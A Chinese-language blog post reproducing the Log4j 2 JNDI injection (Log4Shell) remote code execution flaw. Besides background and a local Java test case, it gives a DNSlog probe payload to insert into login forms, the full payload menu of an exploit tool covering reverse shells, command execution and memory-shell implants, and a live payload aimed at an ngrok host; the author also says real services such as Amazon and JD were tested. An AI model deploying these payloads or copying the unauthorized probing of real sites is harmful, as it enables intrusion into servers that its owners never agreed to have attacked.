log4j漏洞复现

  1. 漏洞介绍
  2. 前置知识
  3. 复现过程
  4. 参考链接

漏洞介绍

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。鉴于此漏洞危害较大,建议客户尽快采取措施防护此漏洞。

经分析,log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响

影响版本:Apache Log4j 2.x <= 2.14.1

漏洞利用条件:

core和api同时调用才可以利用成功,对于lombok这种方式却不行

jdk版本限制

前置知识

181和之前的利用 是ldap->发送重定向到class->远程加载class执行

限制:
限制了远程加载class,被限制的版本只能接受ldap的结果,不接受加载远程class

高版本的绕过:
绕过是ldap直接发送调用本地el库执行,不再发送重定向class,不加载远程类,ldap查询还是会发

复现过程

POC

${jndi:ldap://x.4j2a.dnslog.cn/exp} #有登录框就插,判断是否有回显 (有代表可能可以利用)

当天晚上测试的 (亚马逊,网易云,京东,icound等等)

本地测试环境:JDK_1.8.0_181和JDK_1.8.0_191 | 对应:8u181、8u191
Main.java

package com.company;


import java.io.*;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class Main {
    public static final Logger logger = LogManager.getLogger(Main.class);
    public static void main(String[] args) {
        System.out.println("Start");
        logger.error("${lower:${jndi:rmi://127.0.0.1:1099/wlzyww}}");
    }
}

8u191 ldap可以请求出去,但是无法加载利用

调用栈跟踪:(大哥跟的)

致远|用友A8利用log4j getshell
JNDIExploit-1.2-SNAPSHOT.jar:https://github.com/0x727/JNDIExploit

Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server


[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
    ldap://127.0.0.1:1389/Basic/Command/[cmd]
    ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Basic/TomcatEcho
    ldap://127.0.0.1:1389/Basic/SpringEcho
    ldap://127.0.0.1:1389/Basic/WeblogicEcho
    ldap://127.0.0.1:1389/Basic/TomcatMemshell1
    ldap://127.0.0.1:1389/Basic/TomcatMemshell2  ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/Basic/JettyMemshell
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell1
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell2
    ldap://127.0.0.1:1389/Basic/JBossMemshell
    ldap://127.0.0.1:1389/Basic/WebsphereMemshell
    ldap://127.0.0.1:1389/Basic/SpringMemshell


[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
    ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells


[+] TomcatBypass Queries
    ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
    ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
    ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
    ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2   ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell


[+] GroovyBypass Queries
    ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
    ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]


[+] WebsphereBypass Queries
    ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

VPS/本地+ngrok

登录框插

${jndi:ldap://4.tcp.ngrok.io:14296/Basic/TomcatMemshell2}

现存在问题:有些不行但是ldap能请求出来(一般是版本不行,不会bypass)

上线shellcode
将java执行shellcode编译为class,配合marshalsec即可

参考链接

https://help.aliyun.com/noticelist/articleid/1060971232.html
https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ
https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:log4j漏洞复现

本文作者:九世

发布时间:2021-12-15, 00:38:49

最后更新:2021-12-15, 01:09:38

原始链接:http://422926799.github.io/posts/98d13101.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录